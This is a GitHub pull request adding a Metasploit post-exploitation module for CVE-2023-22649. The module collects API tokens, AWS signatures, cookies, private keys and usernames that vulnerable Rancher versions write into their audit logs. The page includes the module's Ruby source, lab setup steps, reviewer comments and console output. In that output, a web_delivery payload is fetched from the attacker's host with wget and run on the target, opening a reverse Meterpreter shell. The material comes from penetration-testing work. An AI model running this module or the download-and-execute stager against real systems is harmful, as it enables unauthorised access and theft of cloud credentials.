New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
new post module: rancher audit logs sensitive information leak (CVE-2023-22649) #18962
Changes from 1 commit
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,121 @@ | ||
## Vulnerable Application | ||
|
||
Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive | ||
contain a vulnerability where sensitive data is leaked into the audit logs. | ||
Rancher Audit Logging is an opt-in feature, only deployments that have it | ||
enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue. | ||
|
||
Tested against rancher 2.6.0. | ||
|
||
### Install | ||
|
||
Run the following docker command: | ||
`docker run -d --restart=unless-stopped -p 80:80 -p 443:443 -e AUDIT_LEVEL=3 -v /var/log/rancher/auditlog:/var/log/auditlog --privileged rancher/rancher:v2.6.0` | ||
|
||
You'll now need to grab the install key via `docker logs`: `docker logs <docker_id> 2>&1 | grep "Bootstrap Password:"` | ||
|
||
Lets now add some data for the logs: | ||
|
||
1. Click Cluster Management | ||
1. Select Cloud Credentials: | ||
1. Click the hamburger in the top left corner | ||
1. Select Cluster Management | ||
1. Click Cloud Credentials, and Create | ||
1. Pick Digital Ocean | ||
1. Fill in random data, it doesn't have to validate and be a live account | ||
1. Click Create. It will fail, but the audit logs we need have been written | ||
1. Pick Amazon | ||
1. Fill in random data, it doesn't have to validate and be a live account | ||
1. Click Create. It will fail, but the audit logs we need have been written | ||
1. Click your user icon in the top right corner | ||
1. Select Accounts & API Keys | ||
1. Click Create API Key | ||
1. Give it a name and click create. Write down these values | ||
1. Perform a request via curl (on the docker image is easiest) which will generate more logs (but ultimately fail): | ||
`curl -H "X-Api-Auth-Header: <your bearer token>" -H "X-Amz-Security-Token: FINDME" -k https://172.17.0.2/v3/clusters` | ||
|
||
## Verification Steps | ||
|
||
1. Install the application and generate data | ||
1. Start msfconsole | ||
1. Get a shell | ||
1. Do: `use post/linux/gather/rancher_audit_log_leak` | ||
1. Do: `set session [#]` | ||
1. Do: `run` | ||
1. You should get a table of leaky fields found | ||
|
||
## Options | ||
|
||
### LOGFILE | ||
|
||
The log file to analyze. Defaults to `/var/log/auditlog/rancher-api-audit.log` | ||
|
||
## Scenarios | ||
|
||
### Rancher 2.6.0 on Docker | ||
|
||
``` | ||
[*] Processing rancher_logs.rb for ERB directives. | ||
resource (rancher_logs.rb)> use exploit/multi/script/web_delivery | ||
[*] Using configured payload python/meterpreter/reverse_tcp | ||
resource (rancher_logs.rb)> set target 7 | ||
target => 7 | ||
resource (rancher_logs.rb)> set payload linux/x64/meterpreter/reverse_tcp | ||
payload => linux/x64/meterpreter/reverse_tcp | ||
resource (rancher_logs.rb)> set lhost 172.18.0.1 | ||
lhost => 172.18.0.1 | ||
resource (rancher_logs.rb)> run | ||
[*] Exploit running as background job 0. | ||
[*] Exploit completed, but no session was created. | ||
[*] Started reverse TCP handler on 172.18.0.1:4444 | ||
[*] Using URL: http://172.18.0.1:8080/zpJT4e2V | ||
[*] Server started. | ||
[*] Run the following command on the target machine: | ||
wget -qO gmZmOwc0 --no-check-certificate http://172.18.0.1:8080/zpJT4e2V; chmod +x gmZmOwc0; ./gmZmOwc0& disown | ||
[*] Sending stage (3045380 bytes) to 172.17.0.2 | ||
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.17.0.2:34252) at 2024-03-13 16:51:26 +0000 | ||
``` | ||
|
||
``` | ||
resource (rancher_logs.rb)> use post/linux/gather/rancher_audit_log_leak | ||
resource (rancher_logs.rb)> set session 1 | ||
session => 1 | ||
resource (rancher_logs.rb)> set verbose true | ||
verbose => true | ||
msf6 post(linux/gather/rancher_audit_log_leak) > | ||
msf6 post(linux/gather/rancher_audit_log_leak) > run | ||
|
||
[+] Rancher log saved to: /root/.msf4/loot/20240313165133_default_172.17.0.2_rancher.api.log_616439.txt | ||
[+] Found X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs | ||
[+] Found X-Amz-Security-Token FINDME | ||
[+] Found X-Api-Auth-Header Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa | ||
[+] Found X-Api-Set-Cookie-Header: __cf_bm=2W30ytsdvsLv72Iok1yhwxxsb2vMTPSR7TBCwVZFSGA-1710342756-1.0.1.1-W82_TGzMA.9nV.Qan0XFdGijkdil8VjhuSHbCC85hD2XEsS9rEaR_IlX0X_hsDuDj52ULmlywjjTJZP5zkk503.D4IDGc30FExY2pUhDRyU; path=/; expires=Wed, 13-Mar-24 15:42:36 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None | ||
[+] Found X-Api-Auth-Header Bearer digital_ocean_access_token | ||
[+] Found X-Api-Set-Cookie-Header: __cf_bm=MDIoCaX1Uv1po1JmVaiUvzljV4m9vovMhzjQBN36u2c-1710342849-1.0.1.1-GaceyvEmf5JRuEDxjuU.ByuyIEj6RtMkdN.QqbENHhCLLk.VLlSqn2kk6ykypIZqbpWgzQtOk6iamIROy456PtvgVL9PA3ZebG9CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None | ||
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=be70968f3e291c0dad80ea15daa220ab8e87d79b76f28e782319443a174aa626 | ||
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=32d930648433fbb8d4da9a26af23ec83ce0df0e9010e56da3b7ee2708cee0e75 | ||
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=6992fecba7ad5f33e0cf5ab5d86c4e7df8b332a74c861a5d3f05a65a5fbc9bed | ||
[+] Leaked Information | ||
================== | ||
|
||
Field Value Location | ||
----- ----- -------- | ||
Username admin Requests | ||
X-Amz-Security-Token FINDME requestHeader | ||
X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs requestHeader | ||
X-Api-Auth-Header Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa requestHeader | ||
X-Api-Auth-Header Bearer digital_ocean_access_token requestHeader | ||
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader | ||
t-sha256;x-amz-date;x-amz-user-agent, Signature=be70968f3e291c0dad80ea15daa220ab8e87d79b76f28e782319443a174aa626 | ||
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader | ||
t-sha256;x-amz-date;x-amz-user-agent, Signature=32d930648433fbb8d4da9a26af23ec83ce0df0e9010e56da3b7ee2708cee0e75 | ||
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader | ||
t-sha256;x-amz-date;x-amz-user-agent, Signature=6992fecba7ad5f33e0cf5ab5d86c4e7df8b332a74c861a5d3f05a65a5fbc9bed | ||
X-Api-Set-Cookie-Header __cf_bm=2W30ytsdvsLv72Iok1yhwxxsb2vMTPSR7TBCwVZFSGA-1710342756-1.0.1.1-W82_TGzMA.9nV.Qan0XFdGijkdil8VjhuSHbCC85hD2XEsS9rEaR_IlX0X_hsDuDj52ULmlywjjTJZP5zkk503.D4IDGc30FExY responseHeader | ||
2pUhDRyU; path=/; expires=Wed, 13-Mar-24 15:42:36 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None | ||
X-Api-Set-Cookie-Header __cf_bm=MDIoCaX1Uv1po1JmVaiUvzljV4m9vovMhzjQBN36u2c-1710342849-1.0.1.1-GaceyvEmf5JRuEDxjuU.ByuyIEj6RtMkdN.QqbENHhCLLk.VLlSqn2kk6ykypIZqbpWgzQtOk6iamIROy456PtvgVL9PA3ZebG9 responseHeader | ||
CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None | ||
|
||
[*] Post module execution completed | ||
msf6 post(linux/gather/rancher_audit_log_leak) > | ||
``` |
Original file line number | Diff line number | Diff line change | ||||||
---|---|---|---|---|---|---|---|---|
@@ -0,0 +1,121 @@ | ||||||||
## | ||||||||
# This module requires Metasploit: https://metasploit.com/download | ||||||||
# Current source: https://github.com/rapid7/metasploit-framework | ||||||||
## | ||||||||
|
||||||||
class MetasploitModule < Msf::Post | ||||||||
include Msf::Post::File | ||||||||
include Msf::Auxiliary::Report | ||||||||
|
||||||||
def initialize(info = {}) | ||||||||
super( | ||||||||
update_info( | ||||||||
info, | ||||||||
'Name' => 'Rancher Audit Log Sensitive Information Leak', | ||||||||
'Description' => %q{ | ||||||||
Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive | ||||||||
contain a vulnerability where sensitive data is leaked into the audit logs. | ||||||||
Rancher Audit Logging is an opt-in feature, only deployments that have it | ||||||||
enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue. | ||||||||
|
||||||||
Tested against rancher 2.6.0. | ||||||||
}, | ||||||||
'License' => MSF_LICENSE, | ||||||||
'Author' => [ | ||||||||
'h00die', # msf module | ||||||||
], | ||||||||
'Platform' => ['linux', 'unix'], | ||||||||
'SessionTypes' => ['shell', 'meterpreter'], | ||||||||
'References' => [ | ||||||||
[ 'URL', 'https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr'], | ||||||||
[ 'URL', 'https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options'], | ||||||||
[ 'CVE', '2023-22649'] | ||||||||
], | ||||||||
'DisclosureDate' => '2024-02-08', | ||||||||
'Notes' => { | ||||||||
'Stability' => [], | ||||||||
'Reliability' => [], | ||||||||
'SideEffects' => [] | ||||||||
} | ||||||||
) | ||||||||
) | ||||||||
register_advanced_options [ | ||||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
I know this is unlikely to be changed, but in the event it needs to be changed, users should see it. I'd also be fine if this got left as an advanced option and the warning message contained a reference to changing the advanced option. |
||||||||
OptString.new('LOGFILE', [ true, 'The log file to analyze', '/var/log/auditlog/rancher-api-audit.log' ]) | ||||||||
] | ||||||||
end | ||||||||
|
||||||||
def run | ||||||||
# docker install, and default path according to https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options | ||||||||
fail_with Failure::BadConfig, "#{datastore['LOGFILE']} is not readable or not found" unless readable?(datastore['LOGFILE']) | ||||||||
|
||||||||
log = read_file(datastore['LOGFILE']) | ||||||||
loot = store_loot('rancher.api.log', 'text/plain', session, log, 'rancher.api.txt', 'Rancher API Log') | ||||||||
print_good("Rancher log saved to: #{loot}") | ||||||||
|
||||||||
usernames_found = [] | ||||||||
table = Rex::Text::Table.new('Header' => 'Leaked Information', 'Indent' => 1, 'Columns' => ['Field', 'Value', 'Location']) | ||||||||
|
||||||||
log.each_line do |line| | ||||||||
leaky_request_headers = ['X-Api-Auth-Header', 'X-Amz-Security-Token'] | ||||||||
leaky_response_headers = ['X-Api-Set-Cookie-Header'] | ||||||||
leaky_request_body = ['credentials', 'applicationSecret', 'oauthCredential', 'serviceAccountCredential', 'spKey', 'spCert', 'certificate', 'privateKey'] | ||||||||
|
||||||||
json_line = JSON.parse(line) | ||||||||
|
||||||||
if json_line.key? 'requestHeader' | ||||||||
leaky_request_headers.each do |leaky_field| | ||||||||
next unless json_line['requestHeader'].key? leaky_field | ||||||||
|
||||||||
secret = json_line['requestHeader'][leaky_field] | ||||||||
secret = secret.join(' ') if secret.is_a?(Array) | ||||||||
print_good("Found #{leaky_field} #{secret}") | ||||||||
table << [leaky_field, secret, 'requestHeader'] | ||||||||
end | ||||||||
end | ||||||||
|
||||||||
if json_line.key? 'responseHeader' | ||||||||
leaky_response_headers.each do |leaky_field| | ||||||||
next unless json_line['responseHeader'].key? leaky_field | ||||||||
|
||||||||
secret = json_line['responseHeader'][leaky_field] | ||||||||
secret = secret.join(' ') if secret.is_a?(Array) | ||||||||
print_good("Found #{leaky_field}: #{secret}") | ||||||||
table << [leaky_field, secret, 'responseHeader'] | ||||||||
end | ||||||||
end | ||||||||
|
||||||||
if json_line.key? 'requestBody' | ||||||||
leaky_request_body.each do |leaky_field| | ||||||||
next unless json_line['requestBody'].key? leaky_field | ||||||||
|
||||||||
secret = json_line['requestBody'][leaky_field] | ||||||||
secret = secret.join(' ') if secret.is_a?(Array) | ||||||||
print_good("Found #{leaky_field} in #{secret}") | ||||||||
table << [leaky_field, secret, 'requestBody'] | ||||||||
end | ||||||||
end | ||||||||
|
||||||||
if json_line.key? 'responseBody' | ||||||||
leaky_request_body.each do |leaky_field| | ||||||||
next unless json_line['responseBody'].key? leaky_field | ||||||||
|
||||||||
secret = json_line['responseBody'][leaky_field] | ||||||||
secret = secret.join(' ') if secret.is_a?(Array) | ||||||||
print_good("Found #{leaky_field} in #{secret}") | ||||||||
table << [leaky_field, secret, 'responseBody'] | ||||||||
end | ||||||||
end | ||||||||
|
||||||||
usernames = json_line.dig('user', 'extra', 'username') | ||||||||
next if usernames.nil? | ||||||||
|
||||||||
usernames_found += usernames | ||||||||
end | ||||||||
|
||||||||
usernames_found.uniq.each do |username| | ||||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Any reason not to store these directly? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. store them as in |
||||||||
table << ['Username', username, 'Requests'] | ||||||||
end | ||||||||
|
||||||||
print_good(table.to_s) | ||||||||
smcintyre-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||||
end | ||||||||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I had trouble getting this to work and ended up changing the version number to 2.8.1. It was definitely an issue with the docker image though and not the module.